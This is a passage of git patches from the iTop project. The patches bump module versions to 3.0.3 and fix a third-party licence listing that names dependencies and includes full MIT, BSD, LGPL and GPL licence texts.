a/datamodels/2.x/itop-request-mgmt/module.itop-request-mgmt.php +++ b/datamodels/2.x/itop-request-mgmt/module.itop-request-mgmt.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-request-mgmt/3.0.2', + 'itop-request-mgmt/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-service-mgmt-provider/module.itop-service-mgmt-provider.php b/datamodels/2.x/itop-service-mgmt-provider/module.itop-service-mgmt-provider.php index 5a766cdcb..f35068110 100755 --- a/datamodels/2.x/itop-service-mgmt-provider/module.itop-service-mgmt-provider.php +++ b/datamodels/2.x/itop-service-mgmt-provider/module.itop-service-mgmt-provider.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-service-mgmt-provider/3.0.2', + 'itop-service-mgmt-provider/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-service-mgmt/module.itop-service-mgmt.php b/datamodels/2.x/itop-service-mgmt/module.itop-service-mgmt.php index b6d14682f..db6f301c6 100755 --- a/datamodels/2.x/itop-service-mgmt/module.itop-service-mgmt.php +++ b/datamodels/2.x/itop-service-mgmt/module.itop-service-mgmt.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-service-mgmt/3.0.2', + 'itop-service-mgmt/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-sla-computation/module.itop-sla-computation.php b/datamodels/2.x/itop-sla-computation/module.itop-sla-computation.php index 5f373230d..2569daad1 100755 --- a/datamodels/2.x/itop-sla-computation/module.itop-sla-computation.php +++ b/datamodels/2.x/itop-sla-computation/module.itop-sla-computation.php @@ -18,7 +18,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-sla-computation/3.0.2', + 'itop-sla-computation/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-storage-mgmt/module.itop-storage-mgmt.php b/datamodels/2.x/itop-storage-mgmt/module.itop-storage-mgmt.php index 311dd1516..0644a8362 100644 --- a/datamodels/2.x/itop-storage-mgmt/module.itop-storage-mgmt.php +++ b/datamodels/2.x/itop-storage-mgmt/module.itop-storage-mgmt.php @@ -25,7 +25,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-storage-mgmt/3.0.2', + 'itop-storage-mgmt/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-structure/module.itop-structure.php b/datamodels/2.x/itop-structure/module.itop-structure.php index 854d7a18c..3dfe81d36 100644 --- a/datamodels/2.x/itop-structure/module.itop-structure.php +++ b/datamodels/2.x/itop-structure/module.itop-structure.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-structure/3.0.2', + 'itop-structure/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-themes-compat/module.itop-themes-compat.php b/datamodels/2.x/itop-themes-compat/module.itop-themes-compat.php index c877b4cc9..bcd478426 100644 --- a/datamodels/2.x/itop-themes-compat/module.itop-themes-compat.php +++ b/datamodels/2.x/itop-themes-compat/module.itop-themes-compat.php @@ -5,7 +5,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-themes-compat/3.0.2', + 'itop-themes-compat/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-tickets/module.itop-tickets.php b/datamodels/2.x/itop-tickets/module.itop-tickets.php index 6916479b9..adbc126ff 100755 --- a/datamodels/2.x/itop-tickets/module.itop-tickets.php +++ b/datamodels/2.x/itop-tickets/module.itop-tickets.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, - 'itop-tickets/3.0.2', + 'itop-tickets/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-virtualization-mgmt/module.itop-virtualization-mgmt.php b/datamodels/2.x/itop-virtualization-mgmt/module.itop-virtualization-mgmt.php index 67389e4d2..605cb8777 100644 --- a/datamodels/2.x/itop-virtualization-mgmt/module.itop-virtualization-mgmt.php +++ b/datamodels/2.x/itop-virtualization-mgmt/module.itop-virtualization-mgmt.php @@ -16,7 +16,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-virtualization-mgmt/3.0.2', + 'itop-virtualization-mgmt/3.0.3', array( // Identification // diff --git a/datamodels/2.x/itop-welcome-itil/module.itop-welcome-itil.php b/datamodels/2.x/itop-welcome-itil/module.itop-welcome-itil.php index 362da8c49..dcf4a0b75 100755 --- a/datamodels/2.x/itop-welcome-itil/module.itop-welcome-itil.php +++ b/datamodels/2.x/itop-welcome-itil/module.itop-welcome-itil.php @@ -3,7 +3,7 @@ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'itop-welcome-itil/3.0.2', + 'itop-welcome-itil/3.0.3', array( // Identification // diff --git a/datamodels/2.x/version.xml b/datamodels/2.x/version.xml index c8f1c5763..b6837e4c8 100755 --- a/datamodels/2.x/version.xml +++ b/datamodels/2.x/version.xml @@ -1,4 +1,4 @@ - 3.0.2 + 3.0.3 diff --git a/setup/licenses/community-licenses.xml b/setup/licenses/community-licenses.xml index f9d21cdc7..f22d4f5b5 100644 --- a/setup/licenses/community-licenses.xml +++ b/setup/licenses/community-licenses.xml @@ -1674,8 +1674,8 @@ to represent the company, product, or service to which they refer.** apereo/phpcas - Joachim Fritschi - Adam Franco - Henry Pan - Apache-2.0 + # + combodo/tcpdf - Nicola Asuni - Combodo - LGPL-3.0-only - - - - doctrine/lexer - Guilherme Blanco - Roman Borschel - Johannes Schmitt - MIT - - - - egulias/email-validator - Eduardo Gulias Davis - MIT - - - - nikic/php-parser - Nikita Popov - BSD-3-Clause - - - - paragonie/random_compat - Paragon Initiative Enterprises - MIT - - - - pear/archive_tar - Vincent Blavet - Greg Beaver - Michiel Rook - BSD-3-Clause - - - - pear/console_getopt - Andrei Zmievski - Stig Bakken - Greg Beaver - BSD-2-Clause - - - - pear/pear-core-minimal - Christian Weiske - BSD-3-Clause - - - - pear/pear_exception - Helgi Thormar - Greg Beaver - BSD-2-Clause - , - Gregory Beaver , - Helgi Þormar Þorbjörnsson , - Tomas V.V.Cox , - Martin Jansen . -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - - * Redistributions of source code must retain the above copyright notice, - this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in the - documentation and/or other materials provided with the distribution. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - ]]> - - - pelago/emogrifier - Oliver Klee - Zoli Szabó - John Reeve - Jake Hotson - Cameron Brooks - Jaime Prado - MIT - - - - psr/cache - PHP-FIG - MIT - - - - psr/container - PHP-FIG - MIT - - - - psr/log - PHP-FIG - MIT - - - - psr/simple-cache - PHP-FIG - MIT - Permission is hereby granted, free of charge, to any person obtaining a copy -> of this software and associated documentation files (the "Software"), to deal -> in the Software without restriction, including without limitation the rights -> to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -> copies of the Software, and to permit persons to whom the Software is -> furnished to do so, subject to the following conditions: -> -> The above copyright notice and this permission notice shall be included in -> all copies or substantial portions of the Software. -> -> THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -> IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -> FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -> AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -> LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -> OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -> THE SOFTWARE. - ]]> - - - scssphp/scssphp - Anthon Pang - Cédric Morin - MIT - - - - swiftmailer/swiftmailer - Chris Corbyn - Fabien Potencier - MIT - - - - symfony/cache - Nicolas Grekas - Symfony Community - MIT - - - - symfony/class-loader - Fabien Potencier - Symfony Community - MIT - - - - symfony/config - Fabien Potencier - Symfony Community - MIT - - - - symfony/console - Fabien Potencier - Symfony Community - MIT - - - - symfony/css-selector - Fabien Potencier - Jean-François Simon - Symfony Community - MIT - - - - symfony/debug - Fabien Potencier - Symfony Community - MIT - - - - symfony/dependency-injection - Fabien Potencier - Symfony Community - MIT - - - - symfony/dotenv - Fabien Potencier - Symfony Community - MIT - - - - symfony/event-dispatcher - Fabien Potencier - Symfony Community - MIT - - - - symfony/filesystem - Fabien Potencier - Symfony Community - MIT - - - - symfony/finder - Fabien Potencier - Symfony Community - MIT - - - - symfony/framework-bundle - Fabien Potencier - Symfony Community - MIT - - - - symfony/http-foundation - Fabien Potencier - Symfony Community - MIT - - - - symfony/http-kernel - Fabien Potencier - Symfony Community - MIT - - - - symfony/polyfill-apcu - Nicolas Grekas - Symfony Community - MIT - - - - symfony/polyfill-ctype - Gert de Pagter - Symfony Community - MIT - - - - symfony/polyfill-iconv - Nicolas Grekas - Symfony Community - MIT - - - - symfony/polyfill-intl-idn - Laurent Bassin - Trevor Rowbotham - Symfony Community - MIT - - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is furnished -to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. - ]]> - - - symfony/polyfill-intl-normalizer - Nicolas Grekas - Symfony Community - MIT - - - - symfony/polyfill-mbstring - Nicolas Grekas - Symfony Community - MIT - - - - symfony/polyfill-php56 - Nicolas Grekas - Symfony Community - MIT - - - - symfony/polyfill-php70 - Nicolas Grekas - Symfony Community - MIT - - - - symfony/polyfill-php72 - Nicolas Grekas - Symfony Community - MIT - - - - symfony/polyfill-util - Nicolas Grekas - Symfony Community - MIT - - - - symfony/routing - Fabien Potencier - Symfony Community - MIT - - - - symfony/stopwatch - Fabien Potencier - Symfony Community - MIT - - - - symfony/twig-bridge - Fabien Potencier - Symfony Community - MIT - - - - symfony/twig-bundle - Fabien Potencier - Symfony Community - MIT - - - - symfony/var-dumper - Nicolas Grekas - Symfony Community - MIT - - - - symfony/web-profiler-bundle - Fabien Potencier - Symfony Community - MIT - - - - symfony/yaml - Fabien Potencier - Symfony Community - MIT - - - - twig/twig - Fabien Potencier - Twig Team - Armin Ronacher - BSD-3-Clause - - - - Freepik images - Freepik - Proprietary licensed - - - - icons8 images - icons8 - Proprietary licensed - - - - unDraw illustrations - Katerina Limpitsouni - Proprietary licensed - - - - bulma-scss - Jim Campbell - MIT - - - - datatables.net - SpryMedia Ltd - MIT - - - - datatables.net-fixedheader - SpryMedia Ltd - MIT - - - - datatables.net-responsive - SpryMedia Ltd - MIT - - - - datatables.net-scroller - SpryMedia Ltd - MIT - - - - datatables.net-select - SpryMedia Ltd - MIT - - - - popperjs/core - Federico Zivolo - MIT - - - - raleway-webfont - Pablo Impallari - MIT AND OFL-1.1 - - - - scrollmagic - Jan Paepke - MIT OR GPL-3.0+ - - - - tippy.js - atomiks - MIT - - - - combodo/tcpdf - Nicola Asuni - Combodo - LGPL-3.0-only + # + container-interop/container-interop - MIT + doctrine/lexer - Guilherme Blanco - Roman Borschel - Johannes Schmitt - MIT + # + egulias/email-validator - Eduardo Gulias Davis - MIT + # + firebase/php-jwt - Neuman Vong - Anant Narayanan - BSD-3-Clause + # + guzzlehttp/guzzle - Graham Campbell - Michael Dowling - Jeremy Lindblom - George Mponos - Tobias Nyholm - Márk Sági-Kazár - Tobias Schultze - MIT + # + guzzlehttp/promises - Graham Campbell - Michael Dowling - Tobias Nyholm - Tobias Schultze - MIT + # + guzzlehttp/psr7 - Graham Campbell - Michael Dowling - George Mponos - Tobias Nyholm - Márk Sági-Kazár - Tobias Schultze - MIT + # + laminas/laminas-loader - BSD-3-Clause + laminas/laminas-mail - BSD-3-Clause + laminas/laminas-mime - BSD-3-Clause + laminas/laminas-servicemanager - BSD-3-Clause + laminas/laminas-stdlib - BSD-3-Clause + laminas/laminas-validator - BSD-3-Clause + laminas/laminas-zendframework-bridge - BSD-3-Clause + league/oauth2-client - Alex Bilbie - Woody Gilk - MIT + # + league/oauth2-google - Woody Gilk - MIT + # + nikic/php-parser - Nikita Popov - BSD-3-Clause + # + paragonie/random_compat - Paragon Initiative Enterprises - MIT + # + pear/archive_tar - Vincent Blavet - Greg Beaver - Michiel Rook - BSD-3-Clause + # + pear/console_getopt - Andrei Zmievski - Stig Bakken - Greg Beaver - BSD-2-Clause + # + pear/pear-core-minimal - Christian Weiske - BSD-3-Clause + # + pear/pear_exception - Helgi Thormar - Greg Beaver - BSD-2-Clause + # + , @@ -5687,8 +4180,8 @@ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. pelago/emogrifier - Oliver Klee - Zoli Szabó - John Reeve - Jake Hotson - Cameron Brooks - Jaime Prado - MIT + # + psr/cache - PHP-FIG - MIT + # + psr/container - PHP-FIG - MIT + # + psr/http-message - PHP-FIG - MIT + # + psr/log - PHP-FIG - MIT + # + psr/simple-cache - PHP-FIG - MIT + # + ralouphie/getallheaders - Ralph Khattar - MIT + # + scssphp/scssphp - Anthon Pang - Cédric Morin - MIT + # + swiftmailer/swiftmailer - Chris Corbyn - Fabien Potencier - MIT + # + symfony/cache - Nicolas Grekas - Symfony Community - MIT + # + symfony/class-loader - Fabien Potencier - Symfony Community - MIT + # + symfony/config - Fabien Potencier - Symfony Community - MIT + # + symfony/console - Fabien Potencier - Symfony Community - MIT + # + symfony/css-selector - Fabien Potencier - Jean-François Simon - Symfony Community - MIT + # + symfony/debug - Fabien Potencier - Symfony Community - MIT + # + symfony/dependency-injection - Fabien Potencier - Symfony Community - MIT + # + symfony/dotenv - Fabien Potencier - Symfony Community - MIT + # + symfony/event-dispatcher - Fabien Potencier - Symfony Community - MIT + # + symfony/filesystem - Fabien Potencier - Symfony Community - MIT + # + symfony/finder - Fabien Potencier - Symfony Community - MIT + # + symfony/framework-bundle - Fabien Potencier - Symfony Community - MIT + # + symfony/http-foundation - Fabien Potencier - Symfony Community - MIT + # + symfony/http-kernel - Fabien Potencier - Symfony Community - MIT + # + symfony/polyfill-apcu - Nicolas Grekas - Symfony Community - MIT + # + symfony/polyfill-ctype - Gert de Pagter - Symfony Community - MIT + # + symfony/polyfill-iconv - Nicolas Grekas - Symfony Community - MIT + # + symfony/polyfill-intl-idn - Laurent Bassin - Trevor Rowbotham - Symfony Community - MIT + # + @@ -6398,8 +4891,8 @@ THE SOFTWARE. symfony/polyfill-intl-normalizer - Nicolas Grekas - Symfony Community - MIT + # + symfony/polyfill-mbstring - Nicolas Grekas - Symfony Community - MIT + # + symfony/polyfill-php56 - Nicolas Grekas - Symfony Community - MIT + # + symfony/polyfill-php70 - Nicolas Grekas - Symfony Community - MIT + # + symfony/polyfill-php72 - Nicolas Grekas - Symfony Community - MIT + # + symfony/polyfill-util - Nicolas Grekas - Symfony Community - MIT + # + symfony/routing - Fabien Potencier - Symfony Community - MIT + # + symfony/stopwatch - Fabien Potencier - Symfony Community - MIT + # + symfony/twig-bridge - Fabien Potencier - Symfony Community - MIT + # + symfony/twig-bundle - Fabien Potencier - Symfony Community - MIT + # + symfony/var-dumper - Nicolas Grekas - Symfony Community - MIT + # + symfony/web-profiler-bundle - Fabien Potencier - Symfony Community - MIT + # + symfony/yaml - Fabien Potencier - Symfony Community - MIT + # + thenetworg/oauth2-azure - Jan Hajek - MIT + # + true/punycode - Renan Gonçalves - MIT + # + twig/twig - Fabien Potencier - Twig Team - Armin Ronacher - BSD-3-Clause + # + + + Freepik images + Freepik + Proprietary licensed + + + + icons8 images + icons8 + Proprietary licensed + + + + unDraw illustrations + Katerina Limpitsouni + Proprietary licensed + + + + bulma-scss + Jim Campbell + MIT + + + + datatables.net + SpryMedia Ltd + MIT + + + + datatables.net-fixedheader + SpryMedia Ltd + MIT + + + + datatables.net-responsive + SpryMedia Ltd + MIT + + + + datatables.net-scroller + SpryMedia Ltd + MIT + + + + datatables.net-select + SpryMedia Ltd + MIT + + + + popperjs/core + Federico Zivolo + MIT + + + + raleway-webfont + Pablo Impallari + MIT AND OFL-1.1 + + + + scrollmagic + Jan Paepke + MIT OR GPL-3.0+ + + + + tippy.js + atomiks + MIT + + From b1fd7716f6bc621676df40da2362ce0986fd8660 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Tue, 14 Mar 2023 12:08:54 +0100 Subject: [PATCH 189/230] Fix community-licenses.xml --- setup/licenses/community-licenses.xml | 1211 +++++-------------------- 1 file changed, 225 insertions(+), 986 deletions(-) diff --git a/setup/licenses/community-licenses.xml b/setup/licenses/community-licenses.xml index f22d4f5b5..af885fda8 100644 --- a/setup/licenses/community-licenses.xml +++ b/setup/licenses/community-licenses.xml @@ -1674,8 +1674,8 @@ to represent the company, product, or service to which they refer.** apereo/phpcas - # - + Joachim Fritschi - Adam Franco - Henry Pan + Apache-2.0 combodo/tcpdf - # - + Nicola Asuni - Combodo + LGPL-3.0-only - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - - This version of the GNU Lesser General Public License incorporates -the terms and conditions of version 3 of the GNU General Public -License, supplemented by the additional permissions listed below. - - 0. Additional Definitions. - - As used herein, "this License" refers to version 3 of the GNU Lesser -General Public License, and the "GNU GPL" refers to version 3 of the GNU -General Public License. - - "The Library" refers to a covered work governed by this License, -other than an Application or a Combined Work as defined below. - - An "Application" is any work that makes use of an interface provided -by the Library, but which is not otherwise based on the Library. -Defining a subclass of a class defined by the Library is deemed a mode -of using an interface provided by the Library. - - A "Combined Work" is a work produced by combining or linking an -Application with the Library. The particular version of the Library -with which the Combined Work was made is also called the "Linked -Version". - - The "Minimal Corresponding Source" for a Combined Work means the -Corresponding Source for the Combined Work, excluding any source code -for portions of the Combined Work that, considered in isolation, are -based on the Application, and not on the Linked Version. - - The "Corresponding Application Code" for a Combined Work means the -object code and/or source code for the Application, including any data -and utility programs needed for reproducing the Combined Work from the -Application, but excluding the System Libraries of the Combined Work. - - 1. Exception to Section 3 of the GNU GPL. - - You may convey a covered work under sections 3 and 4 of this License -without being bound by section 3 of the GNU GPL. - - 2. Conveying Modified Versions. - - If you modify a copy of the Library, and, in your modifications, a -facility refers to a function or data to be supplied by an Application -that uses the facility (other than as an argument passed when the -facility is invoked), then you may convey a copy of the modified -version: - - a) under this License, provided that you make a good faith effort to - ensure that, in the event an Application does not supply the - function or data, the facility still operates, and performs - whatever part of its purpose remains meaningful, or - - b) under the GNU GPL, with none of the additional permissions of - this License applicable to that copy. - - 3. Object Code Incorporating Material from Library Header Files. - - The object code form of an Application may incorporate material from -a header file that is part of the Library. You may convey such object -code under terms of your choice, provided that, if the incorporated -material is not limited to numerical parameters, data structure -layouts and accessors, or small macros, inline functions and templates -(ten or fewer lines in length), you do both of the following: - - a) Give prominent notice with each copy of the object code that the - Library is used in it and that the Library and its use are - covered by this License. - - b) Accompany the object code with a copy of the GNU GPL and this license - document. - - 4. Combined Works. - - You may convey a Combined Work under terms of your choice that, -taken together, effectively do not restrict modification of the -portions of the Library contained in the Combined Work and reverse -engineering for debugging such modifications, if you also do each of -the following: - - a) Give prominent notice with each copy of the Combined Work that - the Library is used in it and that the Library and its use are - covered by this License. - - b) Accompany the Combined Work with a copy of the GNU GPL and this license - document. - - c) For a Combined Work that displays copyright notices during - execution, include the copyright notice for the Library among - these notices, as well as a reference directing the user to the - copies of the GNU GPL and this license document. - - d) Do one of the following: - - 0) Convey the Minimal Corresponding Source under the terms of this - License, and the Corresponding Application Code in a form - suitable for, and under terms that permit, the user to - recombine or relink the Application with a modified version of - the Linked Version to produce a modified Combined Work, in the - manner specified by section 6 of the GNU GPL for conveying - Corresponding Source. - - 1) Use a suitable shared library mechanism for linking with the - Library. A suitable mechanism is one that (a) uses at run time - a copy of the Library already present on the user's computer - system, and (b) will operate properly with a modified version - of the Library that is interface-compatible with the Linked - Version. - - e) Provide Installation Information, but only if you would otherwise - be required to provide such information under section 6 of the - GNU GPL, and only to the extent that such information is - necessary to install and execute a modified version of the - Combined Work produced by recombining or relinking the - Application with a modified version of the Linked Version. (If - you use option 4d0, the Installation Information must accompany - the Minimal Corresponding Source and Corresponding Application - Code. If you use option 4d1, you must provide the Installation - Information in the manner specified by section 6 of the GNU GPL - for conveying Corresponding Source.) - - 5. Combined Libraries. - - You may place library facilities that are a work based on the -Library side by side in a single library together with other library -facilities that are not Applications and are not covered by this -License, and convey such a combined library under terms of your -choice, if you do both of the following: - - a) Accompany the combined library with a copy of the same work based - on the Library, uncombined with any other library facilities, - conveyed under the terms of this License. - - b) Give prominent notice with the combined library that part of it - is a work based on the Library, and explaining where to find the - accompanying uncombined form of the same work. - - 6. Revised Versions of the GNU Lesser General Public License. - - The Free Software Foundation may publish revised and/or new versions -of the GNU Lesser General Public License from time to time. Such new -versions will be similar in spirit to the present version, but may -differ in detail to address new problems or concerns. - - Each version is given a distinguishing version number. If the -Library as you received it specifies that a certain numbered version -of the GNU Lesser General Public License "or any later version" -applies to it, you have the option of following the terms and -conditions either of that published version or of any later version -published by the Free Software Foundation. If the Library as you -received it does not specify a version number of the GNU Lesser -General Public License, you may choose any version of the GNU Lesser -General Public License ever published by the Free Software Foundation. - - If the Library as you received it specifies that a proxy can decide -whether future versions of the GNU Lesser General Public License shall -apply, that proxy's public statement of acceptance of any version is -permanent authorization for you to choose that version for the -Library. - -********************************************************************** -********************************************************************** - - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and 